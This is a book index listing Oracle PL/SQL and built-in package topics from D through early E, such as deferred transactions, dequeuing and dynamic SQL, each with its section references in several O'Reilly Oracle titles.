defcdest.sql : 17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure, Oracle Built-in Packages
deferred execution: 5. Oracle Advanced Queuing, Oracle Built-in Packages
deferred parsing: 2.3.3.1. The DBMS_SQL.PARSE procedure, Oracle Built-in Packages
DDL statements and: 2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
deferred transactions
(see also RPCs)
17.1.1. About Remote Destinations, Oracle Built-in Packages
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
Oracle8 propagation scheduling: 17.2.6. Scheduling Propagation (Oracle8 only), Oracle Built-in Packages
commiting
17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure, Oracle Built-in Packages
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure, Oracle Built-in Packages
data dictionary views for: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
database links and: 17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure, Oracle Built-in Packages
error handling: 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
executing: 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
failed transactions
deleting: 17.2.4.1. The DBMS_DEFER_SYS.DELETE_ERROR procedure, Oracle Built-in Packages
executing: 17.2.4.4. The DBMS_DEFER_SYS.EXECUTE_ERROR procedure, Oracle Built-in Packages
named transactions, deleting: 17.2.4.2. The DBMS_DEFER_SYS.DELETE_TRAN procedure, Oracle Built-in Packages
parameterized RPCs: 17.3.3. Parameterized RPCs, Oracle Built-in Packages
parameterless RPCs: 17.3.2. Basic RPCs, Oracle Built-in Packages
propagation: (see propagating transactions)
rate and volume control: 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
replication triggers and: 17. Deferred Transactions and Remote Procedure Calls, Oracle Built-in Packages
roles and: 17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
scheduling: 17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure, Oracle Built-in Packages
INIT.ORA and: 17.2.5.1. Scheduling strategies, Oracle Built-in Packages
specifying remote destinations: 17.3.2.1. The DBMS_DEFER.TRANSACTION procedure, Oracle Built-in Packages
stopping execution: 17.2.5.4. The DBMS_DEFER_SYS.UNSCHEDULE_EXECUTION procedure, Oracle Built-in Packages
testing if deferred transactions disabled: 17.2.4.3. The DBMS_DEFER_SYS.DISABLED function, Oracle Built-in Packages
define_variable, EXECUTE IMMEDIATE statement: 4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
definer rights model
18.3.7.3. Rights model, Oracle PL/SQL Programming
7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
defsched.sql : 17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure, Oracle Built-in Packages
defstk constant: 5.24.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
deftdest.sql : 17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure, Oracle Built-in Packages
delete conflicts
16. Conflict Resolution, Oracle Built-in Packages
16.5.1. About Resolution Methods, Oracle Built-in Packages
deleteitem procedure: 5.18.3. Modifying list contents , Advanced Oracle PL/SQL Programming with Packages
deleting
PL/SQL table contents: 21.1.4.1. Counting and clearing the PL/SQL table, Advanced Oracle PL/SQL Programming with Packages
collection elements: 19.4.3. Adding and Removing Elements, Oracle PL/SQL Programming
execution stack contents: 21.2.4.5. Emptying the stack, Advanced Oracle PL/SQL Programming with Packages
files from PL/SQL: 9.3.5. Deleting Files from PL/SQL, Guide to Oracle8i Features
from bailout error list: 22.1.10.1. Managing the bailout error list, Advanced Oracle PL/SQL Programming with Packages
from tables: 19.5.2. Executing dynamic DELETEs, Advanced Oracle PL/SQL Programming with Packages
stacks: 5.24.2. Creating and destroying stacks, Advanced Oracle PL/SQL Programming with Packages
tables: 10.7. Clearing the PL/SQL Table, Oracle PL/SQL Programming
table rows
8.6. Emptying Tables with PLVtab, Advanced Oracle PL/SQL Programming with Packages
10.8.2.2. The DELETE procedure, Oracle PL/SQL Programming
target repository contents: 12.9.3. Clearing the Target, Advanced Oracle PL/SQL Programming with Packages
delim function
5.11.3. Setting the operating system delimiter, Advanced Oracle PL/SQL Programming with Packages
delim procedure: 13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
delimiter
UNIX and MS-DOS
5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
customizing: 10.1.2. Customizing the Delimiter Set, Advanced Oracle PL/SQL Programming with Packages
line separator: 7.2. The Line Separator, Advanced Oracle PL/SQL Programming with Packages
operating system
5.11.3. Setting the operating system delimiter, Advanced Oracle PL/SQL Programming with Packages
13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
string: 5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
delret.sp : 2.5.7.2. RETURNING from a multiple-row delete, Oracle Built-in Packages
demohash procedure: 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
denormalizing program data: 9.7.4. Denormalizing Program Data with Nested Records, Oracle PL/SQL Programming
dependency
identifying with PLVcat: 18.2.4. Identifying References and Dependencies, Advanced Oracle PL/SQL Programming with Packages
management: 23.3. Module Validation and Dependency Management, Oracle PL/SQL Programming
package: 2.4.1. Creating Codependent Packages, Advanced Oracle PL/SQL Programming with Packages
dequeue options record type: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
dequeue procedure
5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
dequeuing: 5.4.2.1. The DBMS_AQ.DEQUEUE procedure , Oracle Built-in Packages
AQ features for: 5.1.3. Dequeue Features, Oracle Built-in Packages
consistency and: 5.4.2.5. Dequeue navigation, Oracle Built-in Packages
correlation identifiers: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
example: 5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
delaying: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
identifying messages: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
locking and: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
message grouping and: 5.4.2.6. Dequeuing with message grouping, Oracle Built-in Packages
message retrieved next: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
messages: 1.3.10.3. Enqueue and dequeue messages to/from a queue, Oracle Web Applications
modifying dequeuing properties (example): 5.4.2.2. Examples, Oracle Built-in Packages
navigation
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
5.4.2.5. Dequeue navigation, Oracle Built-in Packages
number of attempts: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
processing sequence
5.3.7. Enqueue Options Record Type, Oracle Built-in Packages
5.4.2.4. Dequeue order , Oracle Built-in Packages
search criteria: 5.4.2.3. Dequeue search criteria, Oracle Built-in Packages
transactions and
5.1.3. Dequeue Features, Oracle Built-in Packages
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
waiting for messages: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
desc command (SQL*Plus)
objects and: 18.6.2. SQL*Plus "Describe" Command, Oracle PL/SQL Programming
desccols package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
desccols.spp : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
desccols.tst : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
desctest package
(see also specific program names)
10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
designing programs: (see programming technique)
destroy procedure: 5.18.2. Creating and destroying lists, Advanced Oracle PL/SQL Programming with Packages
destroying: (see deleting)
developer utilities: 4.2.2. Developer Utilities, Advanced Oracle PL/SQL Programming with Packages
developers: 2.5.1. Seeing Developers as Users, Advanced Oracle PL/SQL Programming with Packages
developing web applications: 1.4.2. Develop Web Applications with HTML and PL/SQL, Oracle Web Applications
development
1.3.6. Performance Improvement, Advanced Oracle PL/SQL Programming with Packages
3. The PL/SQL Development Spiral, Advanced Oracle PL/SQL Programming with Packages
best practices for: 1.7. Best Practices for PL/SQL Excellence, Oracle PL/SQL Programming
packages for: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
standarizing environment for: 1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
upgrades and fixes: 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes., Advanced Oracle PL/SQL Programming with Packages
development of PL/Vision: 4.1.2. The Origins of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
development platforms: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
dicing byte strings: 9.2.2.2. Slicing and dicing, Oracle Built-in Packages
diffcount.sql file: 5.2. Bulk DML with the FORALL Statement, Guide to Oracle8i Features
digital certificates: 2.5.5. Additional Security Precautions, Oracle Web Applications
digits, number of: (see precision)
dir function
5.11.4. Setting the default directory or location, Advanced Oracle PL/SQL Programming with Packages
13.2.2. Setting the Default Directory, Advanced Oracle PL/SQL Programming with Packages
direct field assignment
9.5. Assigning Values to and from Records, Oracle PL/SQL Programming
10.6.1. Direct Assignment, Oracle PL/SQL Programming
directories
aliases
BFILENAME functions and: 13.2.1. The BFILENAME function, Oracle PL/SQL Programming
8.2.2.1. The DIRECTORY object, Oracle Built-in Packages
contents, obtaining: 9.9.1.2. Obtaining directory contents, Guide to Oracle8i Features
creating: 4.2.7.7. Working with BFILEs, Oracle PL/SQL Programming
default: 13.2.2. Setting the Default Directory, Advanced Oracle PL/SQL Programming with Packages
setting default: 5.11.4. Setting the default directory or location, Advanced Oracle PL/SQL Programming with Packages
directory, PL/Vision: 4.3.3. Beginning the Installation, Advanced Oracle PL/SQL Programming with Packages
discrete transactions: 4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure, Oracle Built-in Packages
disk accompanying book
A. What's on the Companion Disk?, Oracle Built-in Packages
A. Appendix: What's on the Companion Disk?, Guide to Oracle8i Features
A. What's on the Companion Disk?, Oracle PL/SQL Programming
disk space: (see memory)
disp_line procedure: 15.4.2.5. Moving to a PL/SQL-based solution, Advanced Oracle PL/SQL Programming with Packages
disp_text procedure: 15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
display function: 8.2. Displaying PLVtab Tables, Advanced Oracle PL/SQL Programming with Packages
display prefix: 8.5. Setting the Display Prefix, Advanced Oracle PL/SQL Programming with Packages
display procedure
5.11.12. Displaying the contents of a file, Advanced Oracle PL/SQL Programming with Packages
5.17.5. Reading the log , Advanced Oracle PL/SQL Programming with Packages
5.25.8. Displaying a PLVtab table, Advanced Oracle PL/SQL Programming with Packages
8.7. Implementing PLVtab.display, Advanced Oracle PL/SQL Programming with Packages
13.8. Displaying File Contents, Advanced Oracle PL/SQL Programming with Packages
21.1.6. Displaying the Log, Advanced Oracle PL/SQL Programming with Packages
display_atomics procedure
5.21.4. Parsing strings, Advanced Oracle PL/SQL Programming with Packages
10.1.3.2. display_atomics procedure, Advanced Oracle PL/SQL Programming with Packages
display_err procedure: 15.4.2.8. Fine-tuning code display, Advanced Oracle PL/SQL Programming with Packages
display_exception procedure: 22.3.3.4. Displaying the exception, Advanced Oracle PL/SQL Programming with Packages
display_line procedure: 15.4.2.8. Fine-tuning code display, Advanced Oracle PL/SQL Programming with Packages
display_row procedure: 8.7. Implementing PLVtab.display, Advanced Oracle PL/SQL Programming with Packages
display_survey_list procedure, EMP_SURVEY package
8.2.4. The EMP_SURVEY Package, Oracle Web Applications
8.2.4.2. Body, Oracle Web Applications
display_wrap function
5.21.2. Wrapping long strings into paragraphs , Advanced Oracle PL/SQL Programming with Packages
10.1.4.2. display_wrap procedure, Advanced Oracle PL/SQL Programming with Packages
8.2.1. Displaying Wrapped Text, Advanced Oracle PL/SQL Programming with Packages
displaying output: (see output generation)
displaying_module function
5.28.4. Displaying current module, Advanced Oracle PL/SQL Programming with Packages
21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
dispmod procedure
5.28.4. Displaying current module, Advanced Oracle PL/SQL Programming with Packages
21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
disptab procedure: 5.9.7. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
disptrg procedure
5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
12.7.3. Displaying the Target Repository, Advanced Oracle PL/SQL Programming with Packages
distributed databases
in-doubt transactions: (see in-doubt transactions)
releasing locks and: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
distributed execution: 1.3.6. Performance Improvement, Advanced Oracle PL/SQL Programming with Packages
distributed transactions: (see deferred transactions; distributed databases)
dml_delete procedure
5.9.5. Data Manipulation Language operations, Advanced Oracle PL/SQL Programming with Packages
19.5.2. Executing dynamic DELETEs, Advanced Oracle PL/SQL Programming with Packages
19.5.6.3. Parse for delete, Advanced Oracle PL/SQL Programming with Packages
dml_insert_select procedure
5.9.5. Data Manipulation Language operations, Advanced Oracle PL/SQL Programming with Packages
19.5.1. Performing an INSERT-SELECT FROM, Advanced Oracle PL/SQL Programming with Packages
dml_update procedure
5.9.5. Data Manipulation Language operations, Advanced Oracle PL/SQL Programming with Packages
19.5.3. Executing dynamic UPDATEs, Advanced Oracle PL/SQL Programming with Packages
do package: 6.1.6.1. Encapsulating DBMS_OUTPUT, Oracle Built-in Packages
do_rb procedure: 21.1.5.6. Performing different kinds of rollbacks, Advanced Oracle PL/SQL Programming with Packages
do_rollback: 5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
do_rollback procedure: 21.1.5.1. Toggling rollback activity, Advanced Oracle PL/SQL Programming with Packages
document type definition (DTD): 9.3. The Document Type Definition (DTD), Oracle Web Applications
documentation
2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
comments: 16.3.7. Generating Online Help Text Stubs, Advanced Oracle PL/SQL Programming with Packages
help generators: 5.13.5. Help generators, Advanced Oracle PL/SQL Programming with Packages
of parameters: 22.7.1. Document All Parameters and Their Functions, Oracle PL/SQL Programming
of programming process: 24.2.6. Document and Back Up Your Efforts, Oracle PL/SQL Programming
online: 17. PLVhlp: Online Help for PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
online help
4.4. Installing Online Help for PL/Vision, Advanced Oracle PL/SQL Programming with Packages
4.5. Using Online Help, Advanced Oracle PL/SQL Programming with Packages
5.14. PLVhlp: Online Help Architechture, Advanced Oracle PL/SQL Programming with Packages
12.1. Why PLVio?, Advanced Oracle PL/SQL Programming with Packages
generating: 16.3.7. Generating Online Help Text Stubs, Advanced Oracle PL/SQL Programming with Packages
online reference: 4.3.4. Using the PL/Vision Lite Online Reference , Advanced Oracle PL/SQL Programming with Packages
with encrypted code: 23.7.3. Impact of Encrypting Code, Oracle PL/SQL Programming
dot notation
1.4.2. Referencing Package Elements, Advanced Oracle PL/SQL Programming with Packages
2.3. Selecting Package Names, Advanced Oracle PL/SQL Programming with Packages
2.3.2. Avoiding Redundancy, Advanced Oracle PL/SQL Programming with Packages
B.2.2. No Direct Stored Package Variable References, Oracle PL/SQL Programming
9.1.2. Accessing Record-Based Data, Oracle PL/SQL Programming
18.3.4. Dot Notation, Oracle PL/SQL Programming
parsing
2.5.4.3. Constructing the SELECT, Oracle Built-in Packages
10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure, Oracle Built-in Packages
referencing package elements: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
with nested records: 9.7.2. Dot Notation with Nested Records, Oracle PL/SQL Programming
drop_object procedure
5.9.4. Data Definition Language operations, Advanced Oracle PL/SQL Programming with Packages
19.4.1.2. Dropping and truncating objects with PLVdyn, Advanced Oracle PL/SQL Programming with Packages
2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
drop_student procedure: 5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
dropjava utility
9.1. Oracle8i and Java, Guide to Oracle8i Features
9.5. Using dropjava, Guide to Oracle8i Features
dropobj.sp : 2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
dropping
libraries: 21.3.3. DROP: Dropping Libraries, Oracle PL/SQL Programming
triggers: 20.3.2. DROP: Dropping Views and Triggers, Oracle PL/SQL Programming
views: 20.3.2. DROP: Dropping Views and Triggers, Oracle PL/SQL Programming
dummy programs: 5.2.2.3. Supporting top-down design of modules, Oracle PL/SQL Programming
dump_long procedure: 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure, Oracle Built-in Packages
dumping DDL: (see DDL)
dumplong.sp : 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure, Oracle Built-in Packages
duplicate placeholders
4.4.4. Duplicate Placeholders, Guide to Oracle8i Features
dynamic SQL: 4.4.4. Duplicate Placeholders, Guide to Oracle8i Features
dur parameter, CREATETEMPORARY procedure: 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB, Guide to Oracle8i Features
dynPLSQL program, ndsutil.pkg file: 4.7. NDS Utility Package, Guide to Oracle8i Features
dynamic PL/SQL: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
dynamic SQL
2. Executing Dynamic SQL and PL/SQL, Oracle Built-in Packages
C.14. DBMS_SQL, Oracle PL/SQL Programming
1.4.4.2. Support for DDL and dynamic SQL, Oracle PL/SQL Programming
6.2.1. Types of Cursors, Oracle PL/SQL Programming
DDL statement execution
2. Executing Dynamic SQL and PL/SQL, Oracle Built-in Packages
2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
binding versus concatenation: 2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
Method 4: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
Method 4 example: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
RETURNING clause in: 2.5.7. Using the RETURNING Clause in Dynamic SQL, Oracle Built-in Packages
blocks
binding host variables and: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
index-by tables and: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
scope of variables
2.4.8. Executing Dynamic PL/SQL, Oracle Built-in Packages
4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
syntax for: 2.4.8. Executing Dynamic PL/SQL, Oracle Built-in Packages
cursor variables and: 2.4.1. Some Restrictions, Oracle Built-in Packages
cursors, reusing: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
methods for: 2.2.4. Types of Dynamic SQL, Oracle Built-in Packages
processing flow
2.1. Examples of Dynamic SQL, Oracle Built-in Packages
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
tips on using: 2.4. Tips on Using Dynamic SQL, Oracle Built-in Packages
troubleshooting: 2.4.6. Problem-Solving Dynamic SQL Errors, Oracle Built-in Packages
dynamic cursors: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
dynamic ids: 9.2.3. Setting Oracle Privileges, Guide to Oracle8i Features
dynamic linking: 21.1.2. Architecture, Oracle PL/SQL Programming
dynamic page wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
dynamic resources
1.2.2. Application Development, Oracle Web Applications
2.1. Resources, Oracle Web Applications
dynconst package: 1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
dynconst.spp : 1.3.6.1. Referencing packaged constants and variables, Oracle Built-in Packages
dyndel.sp : 2.5.6.2. Using array processing to delete, Oracle Built-in Packages
dyndel.tst : 2.5.6.2. Using array processing to delete, Oracle Built-in Packages
dynins.sp : 2.5.6.1. Using array processing to insert, Oracle Built-in Packages
dynins.tst : 2.5.6.1. Using array processing to insert, Oracle Built-in Packages
dynplsql.sp
2.4.8. Executing Dynamic PL/SQL, Oracle Built-in Packages
4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
dynsql package
(see also specific program names)
2.4.6. Problem-Solving Dynamic SQL Errors, Oracle Built-in Packages
dynsql.spp : 2.4.6. Problem-Solving Dynamic SQL Errors, Oracle Built-in Packages
dynsql_value package: 1.3.6.1. Referencing packaged constants and variables, Oracle Built-in Packages
dynupd.sp : 2.5.6.3. Using array processing to update, Oracle Built-in Packages
dynupd.tst : 2.5.6.3. Using array processing to update, Oracle Built-in Packages
dynvar package
(see also specific program names)
2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages
dynvar.pkg file: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
dynvar.spp : 2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages
dynvar.tst : 2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: E

Index: E

ECS (execution call stack): 5.28.8. Accessing the PLVtrc execution call stack (ECS), Advanced Oracle PL/SQL Programming with Packages
EJB (Enterprise JavaBeans)
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
EJBs (Enterprise Java Beans(TM)): 1.3.7. Java, Oracle Web Applications
ELSE keyword: (see IF statements)
ELSIF keyword: (see IF statements)
EMPTY_BLOB function
7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
13.2.2. The EMPTY_BLOB function, Oracle PL/SQL Programming
EMPTY_CLOB function
7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
13.2.3. The EMPTY_CLOB function, Oracle PL/SQL Programming
EMP_SURVEY Package: 8.2.4. The EMP_SURVEY Package, Oracle Web Applications
ENABLE column, *_POLICIES data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
ENABLE procedure
7.4. Controlling Output from p, Advanced Oracle PL/SQL Programming with Packages
6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
6.1.2.1. The DBMS_OUTPUT.ENABLE procedure, Oracle Built-in Packages
C.9.2. The ENABLE procedure, Oracle PL/SQL Programming
ENABLE_POLICY procedure, DBMS_RLS package
7.3.2. DBMS_RLS Programs, Guide to Oracle8i Features
7.3.5. ENABLE_POLICY: Enabling or Disabling a Policy, Guide to Oracle8i Features
END: (see BEGIN-END block syntax)
END IF: (see IF statements)
END LOOP keywords: (see loops)
END command, PL/SQL: 6.1.1. Procedures, Oracle Web Applications
END label
15.4.4. The END Label, Oracle PL/SQL Programming
15.5.3. The END Label, Oracle PL/SQL Programming
END_INSTANTIATION procedure
15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
15.4.2.3. The DBMS_OFFLINE_OG.END_INSTANTIATION procedure, Oracle Built-in Packages
END_LOAD procedure
14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs, Oracle Built-in Packages
14.3.2.2. The DBMS_OFFLINE_SNAPSHOT.END_LOAD procedure, Oracle Built-in Packages
15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
15.4.2.4. The DBMS_OFFLINE_OG.END_LOAD procedure, Oracle Built-in Packages
END_TABLE_REORGANIZATION procedure
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.1.5.2. The DBMS_SNAPSHOT.END_TABLE_REORGANIZATION procedure (Oracle8 only) , Oracle Built-in Packages
ENQUEUE option, GRANT_QUEUE_PRIVILEGE procedure: 7.6.3.1. GRANT_QUEUE_PRIVILEGE: Granting queue-level privileges, Guide to Oracle8i Features
ENQUEUE procedure
5.4.1.1. The DBMS_AQ.ENQUEUE procedure, Oracle Built-in Packages
C.3.1.1. The ENQUEUE procedure, Oracle PL/SQL Programming
ENQUEUE procedure, DBMS_AQ package
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
ENQUEUE_ANY option, GRANT_SYSTEM_PRIVILEGE procedure: 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges, Guide to Oracle8i Features
ER (entity-relationship) model: 18.1.4.3. Inheritance , Oracle PL/SQL Programming
ERASE procedure
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.3.3. The DBMS_LOB.ERASE procedure, Oracle Built-in Packages
C.6.4. The ERASE procedure, Oracle PL/SQL Programming
ERD (entity-relationship diagram): 1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
ERP(enterprise resource planning): 1. Introduction, Oracle Web Applications
ERROR_IO return code, DBMS_PROFILER package: 7.1.4. Profiler Return Codes, Guide to Oracle8i Features
ERROR_PARM return code, DBMS_PROFILER package: 7.1.4. Profiler Return Codes, Guide to Oracle8i Features
ERROR_VERSION return code, DBMS_PROFILER package: 7.1.4. Profiler Return Codes, Guide to Oracle8i Features
ESL (EnterpriseSync Lite): 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
EXCEPTION keyword
8.3.2. Named Programmer-Defined Exceptions, Oracle PL/SQL Programming
8.6. Handling Exceptions, Oracle PL/SQL Programming
EXCEPTION_INIT pragma
5.10.2. Package-based exceptions, Advanced Oracle PL/SQL Programming with Packages
8.3.3.1. The EXCEPTION_INIT pragma, Oracle PL/SQL Programming
EXCLUDE_PUSH function
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.6.1. The DBMS_DEFER_SYS.EXCLUDE_PUSH function (Oracle8 only), Oracle Built-in Packages
EXECUTE IMMEDIATE statement, native dynamic SQL
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
4.6.2. Error Handling, Guide to Oracle8i Features
EXECUTE authority: 4.6.1. Sharing NDS Programs with Invoker Rights, Guide to Oracle8i Features
EXECUTE command
C.14.6. The EXECUTE function, Oracle PL/SQL Programming
23.1.1. Executing Procedures, Oracle PL/SQL Programming
23.5.3. Changing Stored Objects, Oracle PL/SQL Programming
EXECUTE_AND_FETCH command: C.14.7. The EXECUTE_AND_FETCH function, Oracle PL/SQL Programming
EXECUTE function (DBMS_SQL)
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.6.1. The DBMS_SQL.EXECUTE function, Oracle Built-in Packages
executing: 2.3.6.1. The DBMS_SQL.EXECUTE function, Oracle Built-in Packages
immediate execution: 2.3.3.1. The DBMS_SQL.PARSE procedure, Oracle Built-in Packages
EXECUTE permission: 6.1.6. Permissions, Oracle Web Applications
EXECUTE procedure: 19.5.4. Checking feedback on DML, Advanced Oracle PL/SQL Programming with Packages
EXECUTE procedure (DBMS_DEFER_SYS)
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure, Oracle Built-in Packages
EXECUTE_AND_FETCH function
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function, Oracle Built-in Packages
troubleshooting: 2.3.8. Retrieving Values , Oracle Built-in Packages
EXECUTE_CATALOG_ROLE: 8.1. FGAC Components, Guide to Oracle8i Features
EXECUTE_DDL procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.3.4. The DBMS_REPCAT.EXECUTE_DDL procedure, Oracle Built-in Packages
EXECUTE_ERROR procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.4.4. The DBMS_DEFER_SYS.EXECUTE_ERROR procedure, Oracle Built-in Packages
EXECUTE_ERROR_AS_USER procedure: 17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
EXEC_DDL_STATEMENT procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.9. The DBMS_UTILITY.EXEC_DDL_STATEMENT procedure, Oracle Built-in Packages
EXISTS function
10.8.2.3. The EXISTS function, Oracle PL/SQL Programming
19.6.3. EXISTS(i), Oracle PL/SQL Programming
EXIT statement
7.2.1. Terminating a Simple Loop: EXIT and EXIT WHEN, Oracle PL/SQL Programming
7.7.2.2. EXIT and EXIT WHEN statements, Oracle PL/SQL Programming
EXIT WHEN statement
7.2.1. Terminating a Simple Loop: EXIT and EXIT WHEN, Oracle PL/SQL Programming
7.2.2. Emulating a REPEAT UNTIL Loop, Oracle PL/SQL Programming
7.7.2.2. EXIT and EXIT WHEN statements, Oracle PL/SQL Programming
7.2.1. Terminating a Simple Loop: EXIT and EXIT WHEN, Oracle PL/SQL Programming
with loop labels: 7.6.1.2. Loop termination using labels, Oracle PL/SQL Programming
EXP function: 13.1.9. The EXP function, Oracle PL/SQL Programming
EXPLAIN PLAN statement: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
EXPORT_CLASS procedure, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
9.7.4. EXPORT_SOURCE, _RESOURCE, and _CLASS: Exporting Schema Objects, Guide to Oracle8i Features
EXPORT_RESOURCE procedure, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
